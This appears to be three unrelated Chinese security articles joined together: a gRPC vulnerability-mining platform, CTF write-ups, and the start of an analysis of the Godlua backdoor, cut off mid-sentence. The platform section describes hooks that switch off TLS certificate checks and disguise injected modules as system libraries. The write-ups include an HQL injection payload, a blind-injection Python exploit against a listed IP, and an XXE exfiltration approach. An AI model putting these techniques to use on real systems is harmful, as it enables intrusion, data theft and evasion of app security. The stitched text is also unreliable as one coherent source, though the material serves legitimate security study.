在本议题中，我们提出了一种方法，该方法突破了端上在RPC协议漏洞挖掘的限制，可以为使用gRPC框架的应用程序自动挖掘服务器接口漏洞。
# 02 技术挑战
业界针对gRPC框架在RPC协议下的漏洞挖掘，一直缺少相应方案进行介绍，原因是：
1. 协议包构造问题： gRPC框架具有特定的组包逻辑，并且传输过程中使用了Protobuf进行数据序列化，在没有理解gRPC框架组包过程的情况下，很难构造一个具有攻击效果的网络数据包。
2. 端上安全机制绕过： 在客户端应用程序中通常会内置数据签名等安全保护机制。该机制导致在不注入应用程序的情况下，构造的网络数据包极有可能会存在安全校验失败的问题。
由于这些特性，使得在RPC协议下的应用程序，漏洞挖掘变得十分困难。而本次我们在会议中提到的方案，正是解决了客户端上RPC通讯的漏洞挖掘问题。
这应该是首个基于gRPC框架的自动化漏洞挖掘的议题，基于这个框架，我们发现了若干gRPC网络服务的RCE漏洞。这套方案的理念是：从端安全技术的视角，实现对不同应用RPC请求的数据获取与重放能力，以及快速拔插的HUB能力，将不同应用接入到该方案，可将传统WEB漏洞挖掘的思路应用到移动终端。另外一方面，将RPC接口的脆弱性分析部署在云端，极大地提高了漏洞挖掘的准确率和效率。
# 03 什么是gRPC
RPC协议称为远程过程调用，此协议已应用于大量的互联网移动应用程序和IoT设备。该协议的优点是，在C/S模式通信过程中，应用程序仅需知道远程服务的名称和访问远程服务的输入参数，即可获取远程服务的资源。
gRPC是Google提供的，高度可用的RPC框架，已经大规模应用于移动App以及工业互联网领域，在Http2.0以及Protobuf的加持下，具有传输更快、并且能够在传输期间压缩网络数据的优点。
# 04 gRPC框架的组包流程
应用程序通过gRPC框架构造RPC请求的示意图如下。一个RPC请求，由不同的SDK参与构造，其中红色部分，代表网络通讯中不可或缺的数据，包含了Cookie与OperationType。OperationType可以理解为是HTTP请求的路径，告诉服务端网关当前请求对应的RPC应用服务。
而橙色部分，是应用在性能与安全层面进行的优化：1.
通过操作系统提供的API如CCCrypt或者SecurityEnclave实现数据的签名，部分注重安全的厂商会使用自研的安全SDK通过黑盒算法进行签名。2.
将部分设备的环境安全检测信息，放入RPC Header中用于后期的风险防控。3. 通过Protobuf生成Proto对象，压缩网络字节，提高网络效率。
# 05 构建测试系统
针对不同的应用程序，我们开发了大量工具链用于快速开发注入的动态库，实现了端上流量获取以及重放的能力，并且可快捷接入到RPC重放网络，提供对外调用接口。这样的好处是，在漏洞挖掘的过程中，我们将不必关注端上的实现逻辑，仅仅通过几行代码就能实现模拟登录、自动重放的能力。
在整个工程中，我们在工具链中实现的技术包括：
1. IDAPython调用链分析工具：主要基于IDAPython对gRPC网络接口推导应用程序网络库的函数调用关系，寻找封装gRPC的网络库API。并通过叶子节点寻找构造gRPC数据包所依赖的其他接口（如签名接口、安全检测接口），从而寻找Hook切入点，以及方便接入人员构造注入代码。
2. 安全模块：通用的安全检测对抗模块，集成通用的安全对抗代码，用于绕过证书校验、模块检查机制。另外针对不同应用程序，通过反射调用的方法实现扩展能力：用于构造协议中的数据签名、解析Protobuf数据块。
3. 网关注册模块：任务网关的接入模块，负责与任务网关进行设备注册、心跳报活、任务执行。
4. 任务执行模块：执行网关注册模块下发的任务，基于gRPC框架构造通用的RPC报文，借助安全模块实现签名、数据篡改和安全环境绕过，并进行重放。并负责将重放的返回结果，通过网关注册模块返回给任务中心。
5. 守护进程模块：保障任务执行设备在遇到Crash的情况下能够主动重启任务进程。
6. 自动登录模块：用于对不同的应用程序实现模拟登录的能力，通过RPC请求的返回值截获Response中所获取的Cookie，从而在任务执行的过程中自动带上获取的登陆态信息。
下面我们会对其中的一些工具链技术进行介绍：
## 5.1 通过IDAPython进行网络库推导
如上图所示，通过对gRPC网络库的分析，需要梳理出一批接口，作为底层函数向上分析的关系链。以iOS为例，这里的难点在于，iOS应用程序使用了objc_msgsend，以消息通知的方式进行函数调用，所以IDA是无法直接获取关系链的。于是，为了自动推到叶子结点（也就是网络库的根函数），我们使用了下面的方法：
技术点：
1.基于消息的调用方式，需要对sel进行2次关系链查询。
2.引入了Symbol Execution,
需要对引用的Position调用idc.GetDisasm获取上下文并执行推导，来校验objc_msgsend的Class是不是Target
Function引用的Class，否则会出现大量的结果不准确问题。
## 5.2 重放能力的构建
为了能够运行大规模的漏洞测试任务，我们使用了真实的设备构建了任务执行平台。这个平台的优势是：
（1）基于gRPC框架，实现了与真实设备的网络通讯，使得任务下发到执行可以在1-2秒完成。
（2）每台设备的应用程序，都具备守护进程和心跳包，保障任务调度的稳定性，保障平台本身的可用性。
当我们的RPC模块集成到应用程序中，就会向网关对当前设备进行注册。我们定义了一种设备注册的网络格式，用于后期对不同设备不同应用的鉴别，使不同的漏洞测试任务能够快速下发到指定的应用。注册设备的报文如下：
// 客户端
Client Heartbeat package :
client = GRPCAgent.instance
client.worker = nil;
client.platfrom = @"iOS/Android";
client.isHeartBeat = True;
client.isRun = FALSE;
client.taskLock = Object;
// 服务端
Server Side register：
executor_info = {
'tenant': device_tenant,
'did': device_id,
'type': device_type,
'name': device_name,
'cluster': device_cluster,
'others': device_others,
'last_update': now,
'metrics': mobilegw_pb2.DeviceMetrics(),
'last_sync_timestamp': now,
'task_runner': 0,
'app_version': device_app_version,
'hook_version': device_hook_version
}
相比Android设备，iOS的守护进程保护，显得更加困难。在iOS
8的设备中，我们应用了Mirmir（这是Cydia提供的一个多进程运行的越狱程序，在iOS 8以后就不能使用）对程序本身进行了保护。对于iOS
9以后的越狱设备，我们通过注册守护进程，来实现对应用程序的保护监控：
1. deamon进程通过注册消息通知的方式，监听全局消息。
2. 应用程序在遇到不可抗力的Crash崩溃时，通知我们的deamon进程，延时2秒后重新唤起我们的应用程序。
相关代码如下：
void run_cmd(char *cmd)
{
pid_t pid;
const char *argv[] = {"sh", "-c", cmd, NULL};
int status;
status = posix_spawn(&pid, "/bin/sh", NULL, NULL, (char* const*)argv, nil);
if (status == 0) {
if (waitpid(pid, &status, 0) == -1) {
perror("waitpid");
}
}
}
static void Monitor(CFNotificationCenterRef center, void *observer, CFStringRef name, const void *object, CFDictionaryRef userInfo)
{
sleep(2)
run_cmd("killall -9 target process");
run_cmd("open bundleid");
}
int main(int argc, char *argv[], char *envp[]) {
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), NULL, Monitor, CFSTR("com.sec.iosecdamond"), NULL,CFNotificationSuspensionBehaviorCoalesce);
CFRunLoopRun(); // keep it running in backgroundcom.sec.iosecdamond
return 0;
}
左右滑动查看完整代码
## 5.3 端上安全机制绕过
在程序中我们会通过注入动态库的方式实现终端上任务执行的能力，然而部分应用程序内部有着安全保护机制，会导致任务执行模块出错甚至异常。所以，我们实现了独立的对抗逻辑，帮助我们绕过程序中的安全检测机制。下面会介绍我们碰到的部分对抗手法和一些绕过思路：
（1）堆栈环境检测：在反射调用签名函数的过程中，部分应用程序会通过调用的堆栈节点来判断调用来源是否可信，通常会使用backtrace来判断调用上游的目标函数是否满足预期。
而我们的对抗思路，并不是对trace函数进行Hook，而是通过5.1推导的网络库的叶子结点，寻找应用层的加签函数，从而构造正确的签名数据。
（2）部分应用对符号替换的Hook方式有针对性检测，比如通过dladdr对进程中模块的符号表进行遍历检测，来识别符号替换的Hook风险。
这里的绕过方式，我们应用inlinehook对目标函数进行控制，并且，在目前Hook代码中，我们通过修改函数目标地址的一行指令来对应用程序API进行Hook。这样的优势是，对函数本身的修改降为最低，篡改痕迹更小，也更难以发现。
上述的对抗场景属于我们对个别应用发现存在的校验机制，除此也会有部分通用的端安全对抗逻辑保持默认开启，规避端上安全检测对任务执行带来的影响：
（1）通过对`libboringssl.dylib`的`SSLCreateContext`、`SSLHandshake`、`SSLSetSessionOption`、`tls_helper_create_peer_trus`t函数进行Hook，强制不进行证书校验。
（2）对`_dyld_get_image_name()`函数Hook并将我们注入的任务执行模块伪装为系统模块。
## 5.4 Protobuf数据还原
我们发现大量的应用，使用了Protobuf的格式对数据进行了编码，如果没有还原Protobuf数据的能力，我们就无法对应用Protobuf的网络接口进行漏洞测试。
由于我们没有Proto文件，所以我们需要有方法对数据进行还原。经过分析，在没有对应数据对象的情况下，是可基于字节码数据对Protobuf数据格式进行原始结构的还原。
Protobuf有自己的格式结构，需要对数据块进行解析。Protobuf数据包含了自己的数据头和数据内容。通常数据头中包含了：1. 字段数，2.
数据起始位置，3. 数据类型。
需要注意的是，部分数据类型可能会告诉你仍然是一个对象，所以需要使用递归的方式进行层层解析，直到还原出每一个字段的具体数据。
# 06 流量抽样 & 漏洞测试
应用的流量是非常大的，我们对流量进行了采集和抽样，提高了漏洞挖掘的效率和检出率。
## 6.1 数据抽样
我们对不同的应用程序，在不同的场景进行数据采集，经过实验，如果我们对每一条数据都进行测试，会导致我们在漏洞挖掘的效率上大打折扣。我们希望尽可能覆盖全面，能够对每个接口进行有效的测试：
（1）随机散列算法：对于初始的大量数据，我们希望尽可能地保证每种RPC请求都能够覆盖，但又能够把大数化小，这样能够保障在有足够覆盖率的情况下，不会消耗太多数据库性能。
（2）分群抽样算法：经过（1）的处理，仍然会出现部分请求，存在大量相似的数据。比如上图中的接口1，仍然会存在同一个接口有2GB数据，也就是数据分析中遇到的数据倾斜问题。这时需要使用分群抽样算法，这种算法能够保证对已有数据，均匀抽取固定的数据量，最后会把大量的数据压缩到一个很小的数据集提供给后续的漏洞挖掘流程。
如下面的代码，使用cluster_sample对operationType进行分群，并且把flag=True的结果进行select检出，我们可以均匀地对每个operationType的数据体抽样10条数据进行分析。
cluster_sample(bigint <x>[, bigint <y>])
over (partition by <col1>[, <col2>...])
select tmp.operationType, tmp.request_data, tmp.response_data
from (
select operationType, request_data, response_data, cluster_sample(operationType, 10) as flag
from grpc_table
) tmp
where tmp.flag = true;
左右滑动查看完整代码
## 6.2 脆弱性分析
通过上面的方法，我们可以知道，怎么把数据从大化小，提高漏洞扫描的效率。除此之外，我们将一些接口脆弱性分析的逻辑，也内置到了云端进行处理。
* 1.接口私有性判断：基于数据的漏洞挖掘，我们提出接口“私有性”的度量方法，可以理解为：如果一个接口具备漏洞利用的价值，数据必定与用户个人相关，这类接口定义为私有性接口。我们通过对同一个接口的不同数据进行聚合，如果数据结果的聚合数量与数据总量的比越趋近于1，则越趋向于私有性接口。
F(p) = Group ( OperationType （Count (Distinct Request/Response） / Count
(Distinct User））
Group代表一个分群，如果针对一个OperationType的分群结果，如果请求/返回的结果与测试账号个数的比趋近于1，则接口私有性越强；
* 2.相似度分析：比较不同测试账号的返回结果的相似性。对于不同账号，我们会构造同样的参数进行验证，如果出现越接近相似的结果，则越可能出现越权漏洞相关风险。相似度的判断，涉及了对请求参数，返回结果向量化的运算，由于篇幅问题，就不深入展开，感兴趣的同学可以在网上搜索相关文章。
此外，我们也加入了其他的规则辅助分析：比如通过对接口的抽样数据，分析返回结果中是否包含了敏感参数，这些规则可以通过正则表达式进行分析。以及分析数据的有效性，如：请求的结果，如果仅仅是一些无效的内容，比如日期、一些公共的id，则不会有太大的价值。我们还会维护一个全局的白名单，产生误报后，会加入到白名单里进行过滤，防止二次误报。
# 07 使用这个方法，发现的漏洞
## 7.1 越权类漏洞
思路：
* 用不同的测试账号，对于相同属性的业务参数（如policyList），去探测其他用户的敏感数据（修改汽车车牌号以及电话号码获取他人车辆违章信息）。
案例：
* 图中的例子，在这个请求中，我们可以看到gRPC服务端，允许输入任意的车牌号和电话号码，以至于我们填入正确的数据时，可以看到其他人的车辆违章信息，并可以进行修改。导致这样漏洞的原因，是因为服务端并没有校验当前的用户登陆态，是否有对应业务数据的访问以及修改权限，从而导致了逻辑越权的安全风险。
## 7.2 SSRF漏洞
思路：
* 猜测服务端对请求中的URL参数解析的可能，尝试替换为自己的测试域名，在测试域名挂起代理服务，请求后，判断是否会收到内部应用的网络请求。
案例：
* 从图中的调用链路来看，我们发现，从真实的攻击链路来看，其实resourceUrl经过了多个服务端传递，这也是企业面临的困难，当一个攻击payload请求到服务端后，任何一个服务器节点都可能成为被攻击的对象。
## 7.3 Fastjson漏洞
思路：
* 根据请求特征，判断请求中的参数，是否可能被后端进行反序列化，用于执行恶意代码（示例中的@”type”特征），并嵌入Fastjson payload。
案例：
* 这是一个因为日志服务导致的远程RCE漏洞。当时我们发现了一个请求中带有 “@type”的字符串，我们猜测有可能是本地的数据，被服务端进行反序列化。所以，我们在请求中植入了一个Fastjson的远程命令执行的payload。而我们从白天等到了晚上，当我们都以为可能没有成功时，我们收到了相应结果，确认执行成功。因为最终触发的安全漏洞，并不是我们攻击的服务器，而是因为这台服务器将数据以日志的方式存储之后，这些日志被另外一台服务器解析，解析的过程中使用了Fastjson反序列化，从而执行了参数中具有反序列化漏洞的字符串。
# 08 该方案的局限性
尽管我们对整个方案的设计，可以以极低的介入方式集成到整个漏洞挖掘体系中，但是该方案仍然有一定的局限性，主要包含几个方面：
1. 复杂的逻辑漏洞挖掘，仍然是需要攻克的技术难题：我们在漏洞挖掘的过程中，发现部分请求存在上下游关联的应用场景，这导致贸然对单一的RPC请求进行测试，无法满足执行条件，从而不能触发攻击Payload。
2. 数据覆盖度的强依赖：本方案的核心是在于给予大量的数据结合算法来进行大规模的漏洞挖掘，这对于大型互联网公司来说，可以借助日志服务通过云计算能力来提高漏洞挖掘的效率。但是从黑盒视角，通过模拟执行以及人工介入，能够获取的RPC数据在覆盖率上要低于拥有日志服务能力的应用程序。
# 09 总结
在过去的时间中，我们基于这样的方法挖掘了上百个安全漏洞。本文主要介绍了我们如何针对gRPC框架，构建漏洞挖掘平台。对于如何挖掘漏洞，在文末只是简单的涉及几种颇有成效的经验。我们认为，在有了体系化的框架之后，可以引入其他的漏洞利用方式，给予框架新的漏洞挖掘能力，用于新的应用场景。
正所谓，授人以鱼不如授人以渔，希望各位看官学习这篇文章之后，可以基于这样的思路发现更多有意思的漏洞利用方法。
同时我们也意识到，移动互联网的安全问题，不能仅仅依靠移动应用程序上的安全保护机制，来保障应用的安全，需要从端到云，在基础架构层面来构建自己的护城河。这种风险对抗不是单一的防御措施，而是在服务器端构建纵深防御体系的构建。
* * * | 社区文章 |
# 通过两道题浅看java安全
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
java的web题一直是菜鸡觉得最难的，网鼎杯也出了一道web的java题，因此想结合以前做的java题来简单谈一谈java安全，那就先从网鼎杯的javafile开始吧。
## 0x02 正文
### javafile
刚进入这道题就是一个文件上传的页面，先抓个包看看:
看到COOKIE是`JSESSIONID`，初步判断是java写的web应用，可以任意上传文件，也能下载文件，这里给我提个醒，因为以前遇到过java的任意下载文件的漏洞，很明显解析不了上传的一句话，于是想到
**从下载的功能入手**
这里如果把`filename`的路径修改一下，能不能下载得到其他的文件呢？
可以看到，的确存在任意文件读取的功能，因为这里是java开发的web应用，自然想到`WEB-INF`目录，它是java的web应用的安全目录。所谓安全就是客户端无法访问，只有服务端可以访问的目录。
> WEB-INF目录的作用
/WEB-INF/web.xml Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/ 包含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中。
/WEB-INF/lib/ 存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件。
/WEB-INF/src/ 源码目录，按照包名结构放置各个Java文件。
/WEB-INF/database.properties 数据库配置文件
/WEB-INF/tags/ 存放了自定义标签文件，该目录并不一定为 tags，可以根据自己的喜好和习惯为自己的标签文件库命名，当使用自定义的标签文件库名称时，在使用标签文件时就必须声明正确的标签文件库路径。例如：当自定义标签文件库名称为 simpleTags 时，在使用 simpleTags 目录下的标签文件时，就必须在 jsp 文件头声明为：<%@ taglibprefix="tags" tagdir="/WEB-INF /simpleTags" % >。
/WEB-INF/jsp/ jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明，同样，可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件，为区分 jsp 2.0 文件，通常使用 jsp 命名，当然你也可以命名为 jspOldEdition 。
WEB-INF/jsp2/ 与 jsp 文件目录相比，该目录下主要存放 Jsp 2.0 以下版本的文件，当然，它也是可以任意命名的，同样为区别 Jsp 1.2以下版本的文件目录，通常才命名为 jsp2。
META-INF 相当于一个信息包，目录中的文件和目录获得Java 2平台的认可与解释，用来配置应用程序、扩展程序、类加载器和服务manifest.mf文件，在用jar打包时自动生成。
不妨尝试读取`/WEB-INF/web.xml`来查看servlet的配置规则
我们需要重点关注的是`<servlet-class>`这个标签，因为在这个标签记录了`/WEB-INF/classes/`的类，以便于我们去下载这个class文件
根据得到的信息下载对应源码
> 注意将 . 换成 / 和后缀 .class
`DownloadServlet.class`、
`ListFileServlet.class`、
`UploadServlet.class`
下载后将`class`文件反编译进行审查:
#### UploadServlet.class源码分析
package cn.abc.servlet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.WorkbookFactory;
public class UploadServlet extends HttpServlet {
private static final long serialVersionUID = 1;
/* access modifiers changed from: protected */
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
/* access modifiers changed from: protected */
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String savePath = getServletContext().getRealPath("/WEB-INF/upload");
File tempFile = new File(getServletContext().getRealPath("/WEB-INF/temp"));
if (!tempFile.exists()) {
tempFile.mkdir();
}
String message = "";
try {
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(102400);
factory.setRepository(tempFile);
ServletFileUpload servletFileUpload = new ServletFileUpload(factory);
servletFileUpload.setProgressListener(new 1(this));
servletFileUpload.setHeaderEncoding("UTF-8");
servletFileUpload.setFileSizeMax(1048576);
servletFileUpload.setSizeMax(10485760);
if (ServletFileUpload.isMultipartContent(request)) {
for (FileItem fileItem : servletFileUpload.parseRequest(request)) {
if (fileItem.isFormField()) {
String name = fileItem.getFieldName();
fileItem.getString("UTF-8");
} else {
String filename = fileItem.getName();
if (!(filename == null || filename.trim().equals(""))) {
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
FileOutputStream out = new FileOutputStream(makePath(saveFilename, savePath) + "/" + saveFilename);
byte[] buffer = new byte[1024];
while (true) {
int len = in.read(buffer);
if (len <= 0) {
break;
}
out.write(buffer, 0, len);
}
in.close();
out.close();
message = "文件上传成功!";
}
}
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}
} catch (FileUploadException e2) {
e2.printStackTrace();
}
}
private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;
}
private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dir2 = (hashCode & 240) >> 4;
String dir = savePath + "/" + (hashCode & 15) + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}
其中这一段关键代码：
首先判断文件是否非空，当文件名以 **excel** 开头并且后缀是 **xlsx** ，则会有
`System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());`
这就引入了XXE较为独特一种方式— **CVE-2014-3529**
> 实际上，与所有post-Office 2007文件格式一样，现代Excel文件实际上只是XML文档的zip文件。这称为Office Open
> XML格式或OOXML。
> 许多应用程序允许上传文件。有些处理内部数据并采取相应的操作，这几乎肯定需要解析XML。如果解析器未安全配置，则XXE几乎是不可避免的。
因为excel表格其实也是一种压缩文件，我们可利用`7-zip`提取其中的 **[Content_Types].xml**
，当我们上传excel表格时会对其进行解析XML，因此当我们添上恶意XML时即可触发XXE。
因为在响应头是没有任何回显的，因此在这里应该使用Blind-XXE配合结合外部dtd
这里简单说明一下XXE的攻击方式，具体原理已经很多大神说明了：
#### XXE简单分析
XML文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition） 的东西控制，其中最重要的就是
**实体**
实体可以分为 **通用实体** 和 **参数实体**
**1.通用实体**
用 &实体名; 引用的实体，他在DTD 中定义，在 XML 文档中引用
**2.参数实体**
(1)使用 `%` 实体名(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 `%实体名;` 引用
(2)只有在 DTD 文件中， **参数实体的声明才能引用其他实体**
(3)和通用实体一样，参数实体也可以外部引用
当我们尝试在 **[Content_Types].xml** 中添加xml：
通过设置两个参数实体，并且引用，实现的功能是调用某一公网的dtd文件，并且将`file:///flag`文件读取存储在file中
在来看外部dtd文件:
它会将 **file** 以GET的形式访问指定IP，如果成功触发XXE，此时我们只需要监听apache2日志即可得到flag.
我们将构造好的excel文件按照之前要求命名后，监听日志
> 因为在buuoj上复现，无法访问公网，只能通过一台内网的linux靶机来作为引用外部dtd
>
可以看到，成功触发了XXE，将 **file** 以GET形式访问了我们制定的IP，从而获取到flag
### 攻防世界—Zhuanxv
这个题主页是一个时间记录，抓包发现`JSESSIONID`，因此判断是java开发的web应用，不多说了，就是一通乱扫，发现/list目录，访问后是一个后台登录框：
试图先用万能密码进行登录，无果，初步判断应该是要SQL注入。
F12启动，看到了在CSS布局中
是这样获取背景图片的，结合之前java惯有的任意文件下载，自然想到修改filename来进行查看，但是发现不能读取/etc/passwd文件，先不慌
针对java开发的web应用，想到去查看/WEB-INF/目录下的各种配置文件，在这里尝试查看`/WEB-INF/web.xml`，发现是struts2框架
既然是strust2框架，必不可少的就会有主配置文件`struts.xml`,试图查看`strurs.xml`：
根据class标签，同样是能够下载`.class`文件，因此我们将相关的class文件下载
UserLoginAction.class
DownloadAction.class
com.cuitctf.util.UserOAuth.class
action.AdminAction.class
将这四个class文件下载后进行反编译
> 下载默认得到jpg文件，只需要转后缀名为class即可反编译
#### 代码分析
**UserLoginAction.class** 是判断是否登陆成功和处理的功能
贴下代码
package com.cuitctf.action;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Pattern;
public class UserLoginAction extends ActionSupport {
private User user;
private UserService userService = ((UserService) InitApplicationContext.getApplicationContext().getBean("userService"));
public String execute() throws Exception {
System.out.println("start:" + this.user.getName());
Map<String, Object> request = (Map) ActionContext.getContext().get("request");
try {
if (userCheck(this.user)) {
System.out.println("login SUCCESS");
ActionContext.getContext().getSession().put("user", this.user);
return "success";
}
request.put("error", "登录失败，请检查用户名和密码");
System.out.println("登陆失败");
return "error";
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
public boolean isValid(String username) {
return matcher("[a-zA-Z0-9]{1-16}", username);
}
private static boolean matcher(String reg, String string) {
return Pattern.compile(reg).matcher(string).matches();
}
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1) {
return true;
}
addActionError("Username or password is Wrong, please check!");
return false;
}
public UserService getUserService() {
return this.userService;
}
public void setUserService(UserService userService) {
this.userService = userService;
}
public User getUser() {
return this.user;
}
public void setUser(User user) {
this.user = user;
}
}
看到 **isValid** 方法，限定了username是能是16位的字母和数字，因此username是很难利用进行SQL注入的
**DownloadAction,class** 中：
发现只允许下载后缀名为`xml、jpg、class`的文件，这也说明了开始为什么不能读取/etc/passwd文件内容，但是也没有很多利用点，继续。
审完四个class文件后仍然没有发现关键查询代码，这时可能还有一些class文件或者xml配置文件是需要而我们忽略了的。因此要继续来找这类文件。
fuzz得到spring的核心配置文件`applicationContext.xml`
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
泄露了其他的xml文件和class文件我们再将其下载后反编译进行审查
在`user.hbm.xml`中可以看到
看到了表名`Flag`和列名`welcometoourctf`这样很明显的暗示进行注入
将两处关键代码贴上：
package com.cuitctf.dao.impl;
import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
public List<User> findUserByName(String name) {
return getHibernateTemplate().find("from User where name ='" + name + "'");
}
public List<User> loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
}
public List<User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "").replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
if (Pattern.compile("^[0-9a-zA-Z]+$").matcher(password).find()) {
return this.userDao.loginCheck(name, password);
}
return null;
}
}
查询语句和过滤语句，将`name`和`password`的空格和`=`设空
#### HQL语法
此处并不是SQL语句，而是 **Hibernate** 中的HQL语句
> Hibernate是一种ORM框架，用来映射与tables相关的类定义（代码）
> 内部可以使用原生SQL还有HQL语言进行SQL操作。
> HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。
注意这里查询的都是JAVA类对象
select "对象.属性名"
from "对象名"
where "条件"
group by "对象.属性名" having "分组条件"
order by "对象.属性名"
之前的过滤规则是过滤了用户名和密码的空格和`=`，因此在这里需要用换行符%0a进行绕过
使用如下payload
admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin
这样经过拼接后成为了:
from User where name = '"admin' or '1'>'0' or name like 'admin' and password = '"+ password + "'"
‘1’>’0’恒成立，这样相当于MYSQL万能密码一样进行绕过，登录后台
但是flag并不在后台上，根据之前知道的表和列，flag应该在数据库里，因此我们需要注入得到flag
贴上队里大佬博客里的exp:
#coding=utf-8
import requests
url="http://124.126.19.106:37956/zhuanxvlogin"
flag =""
for i in range(1,50):
for c in range(30,150):
ch = chr(c)
if ch == '_' or ch == '%':
continue
sql="(selectnascii(substr(welcometoourctf," + str(i) + ",1))nfromnFlagn)"
username = "admin'or" + sql + "like'" + str(c) + "'ornnamenlike'admin"
password = "1"
data = {"user.name" : username , "user.password" : password}
#print data
req = requests.post(url,data=data,timeout=10000).text
if len(req) > 4000:
flag = flag +ch
print ("Flag:"+flag)
break
利用ascii和substr的一个盲注，注意空格需要用换行符替代，最后跑出flag
## 总结
个人感觉java题虽然没有那么常见，但是java题的质量一般都很高，通过cookie判断出是java开发的web应用，应该试图去寻找是否存在任意文件下载，只有这样，才能够读取java题泄露的class文件，反编译后进行代码审计，最后才会有更广阔的的思路。 | 社区文章 |
**作者：360netlab**
**来源：<https://blog.netlab.360.com/an-analysis-of-godlua-backdoor/>**
### 背景介绍
2019年4月24号，360Netlab未知威胁检测系统发现一个可疑的ELF文件，目前有一部分杀软误识别为挖矿程序。通过详细分析，我们确定这是一款Lua-based Backdoor，因为这个样本加载的Lua字节码文件幻数为“God”，所以我们将它命名为Godlua Backdoor。
Godlua Backdoor会使用硬编码域名，Pastebin.com，GitHub.com和DNS
TXT记录等方式，构建存储C2地址的冗余机制。同时，它使用HTTPS加密下载Lua字节码文件，使用DNS over
HTTPS获取C2域名解析，保障Bot与Web Server和C2之间的安全通信。
我们观察到Godlua
Backdoor实际上存在2个版本，并且有在持续更新。我们还观察到攻击者会通过Lua指令，动态运行Lua代码，并对一些网站发起HTTP Flood 攻击。
### 概览
目前，我们看到的Godlua
Backdoor主要存在2个版本，201811051556版本是通过遍历Godlua下载服务器得到，我们没有看到它有更新。当前Godlua
